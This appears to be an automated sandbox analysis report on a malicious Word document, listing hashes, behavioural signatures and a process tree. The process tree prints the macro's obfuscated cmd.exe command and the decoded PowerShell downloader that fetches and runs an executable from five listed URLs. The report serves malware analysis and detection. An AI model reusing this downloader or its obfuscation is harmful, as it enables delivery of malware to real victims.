Analysis
-
max time kernel
189s -
max time network
188s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:05
Behavioral task
behavioral1
Sample
2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc
Resource
win10v2004-20221111-en
General
-
Target
2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc
-
Size
139KB
-
MD5
1e48ce79696508bbdfab22a36543dc08
-
SHA1
bc5b0b693fb92ddde3f718dab64efacf0a95ac60
-
SHA256
2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7
-
SHA512
67ed8265be1015e01d57b41e41208518c3ac081bcc791b7010c00cb2423ec166a8a9a35d7b4501a81eeb8b81f66fb20bc7b5bfa8bc3ab2fa8fcd140ab64e8571
-
SSDEEP
1536:DLh81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadnf+aSzdgY7JM8E2LxUkB:58GhDS0o9zTGOZD6EbzCd+JM8X1B
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4840 316 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 98 1928 powershell.exe 100 1928 powershell.exe 102 1928 powershell.exe 104 1928 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 316 WINWORD.EXE 316 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1928 powershell.exe 1928 powershell.exe 4012 powershell.exe 4012 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1928 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 316 WINWORD.EXE 316 WINWORD.EXE 316 WINWORD.EXE 316 WINWORD.EXE 316 WINWORD.EXE 316 WINWORD.EXE 316 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exedescription pid process target process PID 316 wrote to memory of 4840 316 WINWORD.EXE cmd.exe PID 316 wrote to memory of 4840 316 WINWORD.EXE cmd.exe PID 4840 wrote to memory of 1412 4840 cmd.exe cmd.exe PID 4840 wrote to memory of 1412 4840 cmd.exe cmd.exe PID 4840 wrote to memory of 1928 4840 cmd.exe powershell.exe PID 4840 wrote to memory of 1928 4840 cmd.exe powershell.exe PID 1928 wrote to memory of 4012 1928 powershell.exe powershell.exe PID 1928 wrote to memory of 4012 1928 powershell.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2d3e0abe9642057ed898507a4fe9f0f665fe3ca1655b5e818bd5fbdd87b313f7.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /V/C"set 1Rh=;'jTt'=Zwo$}}{hctac}};kaerb;'KfJ'=wqV$;nsH$ metI-ekovnI{ )00008 eg- htgnel.)nsH$ metI-teG(( fI;'SXV'=GMB$;)nsH$ ,MvR$(eliFdaolnwoD.Bkp${yrt{)WlV$ ni MvR$(hcaerof;'exe.'+PVH$+'\'+pmet:vne$=nsH$;'DAH'=cWc$;'948' = PVH$;'zaa'=jsr$;)'@'(tilpS.'l1sYnNBwe/se.sedenepoitsegoncet//:ptth@ASMYmjN/moc.tluabmarelc-engapmahc.tenartni//:ptth@wQDqEp4zB/if.notirt//:ptth@tgf3utuF/moc.aiillemac//:ptth@9A2UEUgye/moc.grenut//:ptth'=WlV$;tneilCbeW.teN tcejbo-wen=Bkp$;'uKf'=Msc$ llehsrewop&&for /L %n in (470;-1;0)do set jy=!jy!!1Rh:~%n,1!&&if %n lss 1 echo !jy:*jy!=! |powershell -"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo powershell $csM='fKu';$pkB=new-object Net.WebClient;$VlW='http://tunerg.com/eygUEU2A9@http://camelliia.com/Futu3fgt@http://triton.fi/Bz4pEqDQw@http://intranet.champagne-clerambault.com/NjmYMSA@http://tecnogestiopenedes.es/ewBNnYs1l'.Split('@');$rsj='aaz';$HVP = '849';$cWc='HAD';$Hsn=$env:temp+'\'+$HVP+'.exe';foreach($RvM in $VlW){try{$pkB.DownloadFile($RvM, $Hsn);$BMG='VXS';If ((Get-Item $Hsn).length -ge 80000) {Invoke-Item $Hsn;$Vqw='JfK';break;}}catch{}}$owZ='tTj'; "3⤵PID:1412
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =fKu4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4012
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
memory/316-132-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmpFilesize
64KB
-
memory/316-133-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmpFilesize
64KB
-
memory/316-134-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmpFilesize
64KB
-
memory/316-135-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmpFilesize
64KB
-
memory/316-136-0x00007FF82E9F0000-0x00007FF82EA00000-memory.dmpFilesize
64KB
-
memory/316-137-0x00007FF82C530000-0x00007FF82C540000-memory.dmpFilesize
64KB
-
memory/316-138-0x00007FF82C530000-0x00007FF82C540000-memory.dmpFilesize
64KB
-
memory/1412-140-0x0000000000000000-mapping.dmp
-
memory/1928-142-0x0000024FEBEA0000-0x0000024FEBEC2000-memory.dmpFilesize
136KB
-
memory/1928-141-0x0000000000000000-mapping.dmp
-
memory/1928-143-0x0000024FEC510000-0x0000024FEC554000-memory.dmpFilesize
272KB
-
memory/1928-144-0x0000024FEC990000-0x0000024FECA06000-memory.dmpFilesize
472KB
-
memory/1928-145-0x00007FF8419D0000-0x00007FF842491000-memory.dmpFilesize
10.8MB
-
memory/1928-149-0x00007FF8419D0000-0x00007FF842491000-memory.dmpFilesize
10.8MB
-
memory/1928-151-0x00007FF8419D0000-0x00007FF842491000-memory.dmpFilesize
10.8MB
-
memory/4012-146-0x0000000000000000-mapping.dmp
-
memory/4012-147-0x00007FF8419D0000-0x00007FF842491000-memory.dmpFilesize
10.8MB
-
memory/4012-148-0x00007FF8419D0000-0x00007FF842491000-memory.dmpFilesize
10.8MB
-
memory/4840-139-0x0000000000000000-mapping.dmp